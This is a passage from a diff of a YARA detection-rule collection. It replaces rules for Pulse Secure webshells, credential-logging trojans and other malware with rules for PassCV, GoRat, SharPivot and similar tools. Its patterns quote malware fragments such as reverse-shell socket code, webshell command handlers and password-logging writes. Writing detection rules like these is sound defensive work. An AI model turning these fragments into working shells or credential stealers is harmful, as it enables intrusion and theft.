-		$s1 = /open[\x09\x20]{0,32}\(\*STDOUT[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
-		$s2 = /open[\x09\x20]{0,32}\(\*STDERR[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
-		$s3 = /socket[\x09\x20]{0,32}\(SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}PF_UNIX[\x09\x20]{0,32},[\x09\x20]{0,32}SOCK_STREAM[\x09\x20]{0,32},[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{0,128}unlink/
-		$s4 = /bind[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}sockaddr_un\(/
-		$s5 = /listen[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}SOMAXCONN[\x09\x20]{0,32}\)[\x09\x20]{0,32};/
-		$s6 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}fork\([\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{1,128}if[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}==[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{\s{1,128}exec\(/
+		$x1 = "NXKILL" fullword wide
+		$s1 = "2OLE32.DLL" fullword ascii
+		$s2 = "localspn.dll" fullword wide
+		$s3 = "!This is a Win32 program." fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <8000KB and $x1 and 2 of ($s*))
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_1
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_4 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "1fab6d2f-96e8-5def-a93e-2bddd04e7ec8"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f182064d-3a91-5a61-aa0f-2ce491a60126"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L173-L190"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b"
-		logic_hash = "d65a466cc15214d8e26597588c039a6b9fb4637ef8f3b1ebea27f016fbd5cba8"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L126-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c445e745ef520438fa7c4ddcae2657b57c80d798640fdd7c85eabf535f158911"
 		score = 75
-		quality = 83
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "27463bcb4301f0fdd95bc10bf67f9049e161a4e51425dac87949387c54c9167f"
 
 	strings:
-		$s1 = "->getRealmInfo()->{name}"
-		$s2 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>/
-		$s3 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]realm=\$/
-		$s4 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]username=\$/
-		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]password=\$/
+		$s1 = "QWNjZXB0On" fullword ascii
+		$s2 = "VXNlci1BZ2VudDogT" fullword ascii
+		$s3 = "dGFzay5kbnME3luLmN" fullword ascii
 
 	condition:
-		(@s1[1]<@s2[1]) and (@s2[1]<@s3[1]) and $s4 and $s5
+		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_2
+rule SIGNATURE_BASE_Passcv_Sabre_Tool_Ntscan : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "dc941935-aec7-54b6-a278-f1453b9785df"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6ec3371a-2a1c-53d1-b650-d28728db1b40"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L191-L208"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
-		logic_hash = "4ade993176c918ec23e99fc585e9ab14d9f9e93a7eca00f2c3b0ebbd13d6ec5b"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L143-L159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2b41c1e6db8c9288663cccbf5659484ed415b403068cc566b31aa044bf0de9e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0f290612b26349a551a148304a0bd3b0d0651e9563425d7c362f30bd492d8665"
 
 	strings:
-		$s1 = "open(*fd,"
-		$s2 = "syswrite(*fd,"
-		$s3 = "close(*fd);"
-		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/[\w.]{1,128}[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
-		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$\w{1,128} ?[\x22\x27],[\x09\x20]{0,32}5000\)/
+		$x1 = "NTscan.EXE" fullword wide
+		$x2 = "NTscan Microsoft " fullword wide
+		$s1 = "admin$" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <300KB and 2 of them )
 }
-rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_3
+rule SIGNATURE_BASE_Passcv_Sabre_Malware_5 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "8a597521-c873-5bcc-85e6-5a0a061fffb7"
-		date = "2021-04-16"
+		description = "PassCV Malware mentioned in Cylance Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ce8d1b9e-7750-5796-a048-20bfd48c6aee"
+		date = "2016-10-20"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L209-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
-		logic_hash = "025308591e058de284f949fd4f788e4a4f46bb2f6c0e1161237f1f811d8179ba"
+		reference = "https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_passcv.yar#L161-L182"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30508c6561a2bb908945e9092da1d5cf2257b8b183effcea25a1ba15567f3d20"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "03aafc5f468a84f7dd7d7d38f91ff17ef1ca044e5f5e8bbdfe589f5509b46ae5"
 
 	strings:
-		$s1 = "open(*fd,"
-		$s2 = "syswrite(*fd,"
-		$s3 = "close(*fd);"
-		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/dsstartssh\.statementcounters[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
-		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$username ?[\x22\x27],[\x09\x20]{0,32}\d{4}\)/
+		$x1 = "ncircTMPg" fullword ascii
+		$x2 = "~SHELL#" fullword ascii
+		$x3 = "N.adobe.xm" fullword ascii
+		$s1 = "NEL32.DLL" fullword ascii
+		$s2 = "BitLocker.exe" fullword wide
+		$s3 = "|xtplhd" fullword ascii
+		$s4 = "SERVICECORE" fullword wide
+		$s5 = "SHARECONTROL" fullword wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <4000KB and 1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_FE_APT_Backdoor_Linux32_SLOWPULSE_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Credtheft_MSIL_Adpasshunt_2_1 : FILE
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "dd35257f-5b6f-55a6-a709-873ded1f4b72"
-		date = "2021-04-16"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L227-L244"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
-		logic_hash = "c1d92ea4ed8e5934c8356e1e52092935c53a138e454026737448f7f523ea06be"
-		score = 75
+		description = "No description has been set in the source file - Signature Base"
+		author = "FireEye"
+		id = "44ba09c3-ac0a-58e7-b98c-dedcbf208d00"
+		date = "2024-05-25"
+		modified = "2024-05-25"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L845-L861"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6efb58cf54d1bb45c057efcfbbd68a93"
+		logic_hash = "a76faa34a1f9cc891aeaa65525c8698e49d5a141854ca0cffb42f06a251bea43"
+		score = 50
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$sb1 = {FC b9 [4] e8 00 00 00 00 5? 8d b? [4] 8b}
-		$sb2 = {f3 a6 0f 85 [4] b8 03 00 00 00 5? 5? 5?}
-		$sb3 = {9c 60 e8 00 00 00 00 5? 8d [5] 85 ?? 0f 8?}
-		$sb4 = {89 13 8b 51 04 89 53 04 8b 51 08 89 53 08}
-		$sb5 = {8d [5] b9 [4] f3 a6 0f 8?}
+		$pdb1 = "\\ADPassHunt\\"
+		$pdb2 = "\\ADPassHunt.pdb"
+		$s1 = "Usage: .\\ADPassHunt.exe"
+		$s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
+		$s3 = "[ADA] Searching for accounts with userpassword attribute"
+		$s4 = "[GPP] Searching for passwords now"
 
 	condition:
-		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@pdb2[1]<@pdb1[1]+50) or 2 of ($s*)
 }
-rule SIGNATURE_BASE_FE_APT_Webshell_PL_STEADYPULSE_1
+import "pe"
+
+rule SIGNATURE_BASE_APT_Backdoor_Win_Gorat_Memory_1
 {
 	meta:
-		description = "Detects samples mentioned in PulseSecure report"
-		author = "Mandiant"
-		id = "49457fbb-9288-565f-909d-e8228c21c1e4"
-		date = "2021-04-16"
-		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_pulsesecure.yar#L265-L284"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc"
-		logic_hash = "a0e3ebdd02ccf5cc8fc0a83c1d0224aed45dc5094eb85bd855e5b74b34e3aaaf"
+		description = "Identifies GoRat malware in memory based on strings."
+		author = "FireEye"
+		id = "4fcdd98f-1873-58e1-a9f5-73ee0aa5a69f"
+		date = "2024-05-25"
+		modified = "2024-05-25"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L1013-L1039"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3b926b5762e13ceec7ac3a61e85c93bb"
+		logic_hash = "bf8d80b7a7d35c1bcb353ff66d10bc95c2e6502043acc6554887465a467cdcf7"
 		score = 75
 		quality = 85
 		tags = ""
 
 	strings:
-		$s1 = "parse_parameters"
-		$s2 = "s/\\+/ /g"
-		$s3 = "s/%(..)/pack("
-		$s4 = "MIME::Base64::encode($"
-		$s5 = "$|=1;"
-		$s6 = "RC4("
-		$s7 = "$FORM{'cmd'}"
+		$rat1 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+		$rat2 = "rat.(*Core).generateBeacon" fullword
+		$rat3 = "rat.gJitter" fullword
+		$rat4 = "rat/comms.(*protectedChannel).SendCmdResponse" fullword
+		$rat5 = "rat/modules/filemgmt.(*acquire).NewCommandExecution" fullword
+		$rat6 = "rat/modules/latlisten.(*latlistensrv).handleCmd" fullword
+		$rat7 = "rat/modules/netsweeper.(*netsweeperRunner).runSweep" fullword
+		$rat8 = "rat/modules/netsweeper.(*Pinger).listen" fullword
+		$rat9 = "rat/modules/socks.(*HTTPProxyClient).beacon" fullword
+		$rat10 = "rat/platforms/win/dyloader.(*memoryLoader).ExecutePluginFunction" fullword
+		$rat11 = "rat/platforms/win/modules/namedpipe.(*dummy).Open" fullword
+		$winblows = "rat/platforms/win.(*winblows).GetStage" fullword
 
 	condition:
-		all of them
+		$winblows or 3 of ($rat*)
 }
-rule SIGNATURE_BASE_APT_MAL_DNS_Hijacking_Campaign_AA19_024A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktool_MSIL_Sharpivot_3_1 : FILE
 {
 	meta:
-		description = "Detects malware used in DNS Hijackign campaign"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6a476052-ba4e-5049-9c7a-f8949d26e7b5"
-		date = "2019-01-25"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/AA19-024A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_aa19_024a.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8e9ec132df6cf6a89f6694682292feec0f3a762c2df6b1dc8180d9ab68e7183b"
+		description = "This rule looks for .NET PE files that have the strings of various method names in the SharPivot code."
+		author = "FireEye"
+		id = "956ba026-c2fa-55fd-be53-0cfaa345f27a"
+		date = "2024-05-25"
+		modified = "2024-05-25"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L1145-L1174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e4efa759d425e2f26fbc29943a30f5bd"
+		logic_hash = "f51ac9637f47a98beee1b3c37b594e292aab0e1d3f9e49c41b1f3c3ce02e17de"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
-		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
 
 	strings:
-		$s2 = "/Client/Login?id=" fullword ascii
-		$s3 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
-		$s4 = ".\\Configure.txt" fullword ascii
-		$s5 = "Content-Disposition: form-data; name=\"files\"; filename=\"" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
+		$msil = "_CorExeMain" ascii wide
+		$str1 = "SharPivot" ascii wide
+		$str2 = "ParseArgs" ascii wide
+		$str3 = "GenRandomString" ascii wide
+		$str4 = "ScheduledTaskExists" ascii wide
+		$str5 = "ServiceExists" ascii wide
+		$str6 = "lpPassword" ascii wide
+		$str7 = "execute" ascii wide
+		$str8 = "WinRM" ascii wide
+		$str9 = "SchtaskMod" ascii wide
+		$str10 = "PoisonHandler" ascii wide
+		$str11 = "SCShell" ascii wide
+		$str12 = "SchtaskMod" ascii wide
+		$str13 = "ServiceHijack" ascii wide
+		$str14 = "ServiceHijack" ascii wide
+		$str15 = "commandArg" ascii wide
+		$str16 = "payloadPath" ascii wide
+		$str17 = "Schtask" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
 }
-rule SIGNATURE_BASE_Furtim_Nativedll : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Hacktool_MSIL_SEATBELT_1_1 : FILE
 {
 	meta:
-		description = "Detects Furtim malware - file native.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4639b637-55d3-5591-9278-5a21de23ac72"
-		date = "2016-06-13"
-		modified = "2023-12-05"
-		reference = "MISP 3971"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_furtim.yar#L8-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9673cdd1e8e38f98b9625291a03011d5cfce78c689eab491ff189c4e039e1ef"
+		description = "This rule looks for .NET PE files that have regex and format strings found in the public tool SeatBelt. Due to the nature of the regex and format strings used for detection, this rule should detect custom variants of the SeatBelt project."
+		author = "FireEye"
+		id = "cfd730ac-1eec-5e04-b871-c14912bc0425"
+		date = "2020-12-08"
+		modified = "2023-01-27"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L1210-L1233"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "848837b83865f3854801be1f25cb9f4d"
+		logic_hash = "89275ec08b75cef371b70fb749cbcada3f30309869094ab7940811fe40f8a008"
 		score = 75
-		quality = 85
+		quality = 67
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4f39d3e70ed1278d5fa83ed9f148ca92383ec662ac34635f7e56cc42eeaee948"
 
 	strings:
-		$s1 = "FqkVpTvBwTrhPFjfFF6ZQRK44hHl26" fullword ascii
-		$op0 = { e0 b3 42 00 c7 84 24 ac }
-		$op1 = { a1 e0 79 44 00 56 ff 90 10 01 00 00 a1 e0 79 44 }
-		$op2 = { bf d0 25 44 00 57 89 4d f0 ff 90 d4 02 00 00 59 }
+		$msil = "_CorExeMain" ascii wide
+		$str1 = "{ Process = {0}, Path = {1}, CommandLine = {2} }" ascii nocase wide
+		$str2 = "Domain=\"(.*)\",Name=\"(.*)\"" ascii nocase wide
+		$str3 = "LogonId=\"(\\d+)\"" ascii nocase wide
+		$str4 = "{0}.{1}.{2}.{3}" ascii nocase wide
+		$str5 = "^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*" ascii nocase wide
+		$str6 = "*[System/EventID={0}]" ascii nocase wide
+		$str7 = "*[System[TimeCreated[@SystemTime >= '{" ascii nocase wide
+		$str8 = "(http|ftp|https|file)://([\\w_-]+(?:(?:\\.[\\w_-]+)+))([\\w.,@?^=%&:/~+#-]*[\\w@?^=%&/~+#-])?" ascii nocase wide
+		$str10 = "{0,-23}" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and $s1 or all of ($op*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
 }
-rule SIGNATURE_BASE_Furtim_Parent_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Builder_PY_REDFLARE_2_1
 {
 	meta:
-		description = "Detects Furtim Parent Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a47719d2-1e4f-50a9-b340-55e13f5a24d5"
-		date = "2016-07-16"
-		modified = "2023-12-05"
-		reference = "https://sentinelone.com/blogs/sfg-furtims-parent/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_furtim.yar#L34-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab4c7ca5c887b2a2f2949a5a6fd0d623dad47d9c1f866fb43f7f8ec38dfa6a02"
+		description = "No description has been set in the source file - Signature Base"
+		author = "FireEye"
+		id = "74c56ee1-734e-5fdb-beee-6345a5993f68"
+		date = "2020-12-01"
+		modified = "2020-12-01"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L1376-L1391"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4410e95de247d7f1ab649aa640ee86fb"
+		logic_hash = "0f28fb23c0c1d589466c7c541c8dc588b038d02dded0c66c4a448d1f768c95c5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "766e49811c0bb7cce217e72e73a6aa866c15de0ba11d7dda3bd7e9ec33ed6963"
+		tags = ""
 
 	strings:
-		$x1 = "dqrChZonUF" fullword ascii
-		$s1 = "Egistec" fullword wide
-		$s2 = "Copyright (C) 2016" fullword wide
-		$op1 = { c0 ea 02 88 55 f8 8a d1 80 e2 03 }
-		$op2 = { 5d fe 88 55 f9 8a d0 80 e2 0f c0 }
-		$op3 = { c4 0c 8a d9 c0 eb 02 80 e1 03 88 5d f8 8a d8 c0 }
+		$s1 = "<510sxxII"
+		$s2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
+		$s3 = "parsePluginOutput"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and ($x1 or ( all of ($s*) and all of ($op*)))) or all of them
+		all of them and #s2==2
 }
 import "pe"
 
-rule SIGNATURE_BASE_SUSP_THOR_Unsigned_Oct23_1 : FILE
+rule SIGNATURE_BASE_APT_Backdoor_Win_GORAT_4_1 : FILE
 {
 	meta:
-		description = "Detects unsigned version of THOR scanner, which could be a backdoored / modified version of the scanner"
-		author = "Florian Roth"
-		id = "2ca6a192-675e-5f02-a7b1-40369eeb9904"
-		date = "2023-10-28"
-		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_unsigned_thor.yar#L4-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12303e3549071dd6c8896f7a1222eb5905f6b4d3f320134416a5b6d53857adeb"
+		description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
+		author = "FireEye"
+		id = "ae67445c-e7fd-5858-be8b-7ee84a16a031"
+		date = "2024-05-25"
+		modified = "2024-05-25"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L1706-L1716"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f59095f0ab15f26a1ead7eed8cdb4902"
+		logic_hash = "fa76e994beb2ab1b7950cf9d6391adf4e1ba45586a14a6340fa8a25a904821e4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 
+	condition:
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
+}
+import "pe"
+
+rule SIGNATURE_BASE_Hacktool_MSIL_PXELOOT_2_1 : FILE
+{
+	meta:
+		description = "This rule looks for .NET PE files that have the strings of various method names in the PXE And Loot code."
+		author = "FireEye"
+		id = "ff46a0e9-f7d2-57f2-9727-26b69ea5ba71"
+		date = "2020-12-08"
+		modified = "2023-01-27"
+		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fireeye_redteam_tools.yar#L2088-L2113"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d93100fe60c342e9e3b13150fd91c7d8"
+		logic_hash = "f9a9167b806e0e3df3720c13b4009e18c5a36913d255978cb001c2284533ea82"
+		score = 75
+		quality = 43
+		tags = "FILE"
+
 	strings:
-		$s1 = "THOR APT Scanner" wide fullword
-		$s2 = "Nextron Systems GmbH" wide fullword
-		$sc1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 74 00 68 00 6F 00 72 }
+		$msil = "_CorExeMain" ascii wide
+		$str2 = "InvestigateRPC" ascii nocase wide
+		$str3 = "DhcpRecon" ascii nocase wide
+		$str4 = "UnMountWim" ascii nocase wide
+		$str5 = "remote WIM image" ascii nocase wide
+		$str6 = "DISMWrapper" ascii nocase wide
+		$str7 = "findTFTPServer" ascii nocase wide
+		$str8 = "DHCPRequestRecon" ascii nocase wide
+		$str9 = "DHCPDiscoverRecon" ascii nocase wide
+		$str10 = "GoodieFile" ascii nocase wide
+		$str11 = "InfoStore" ascii nocase wide
+		$str12 = "execute" ascii nocase wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them and pe.number_of_signatures==0
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and all of ($str*)
 }
-rule SIGNATURE_BASE_Keylogger_CN_APT : FILE
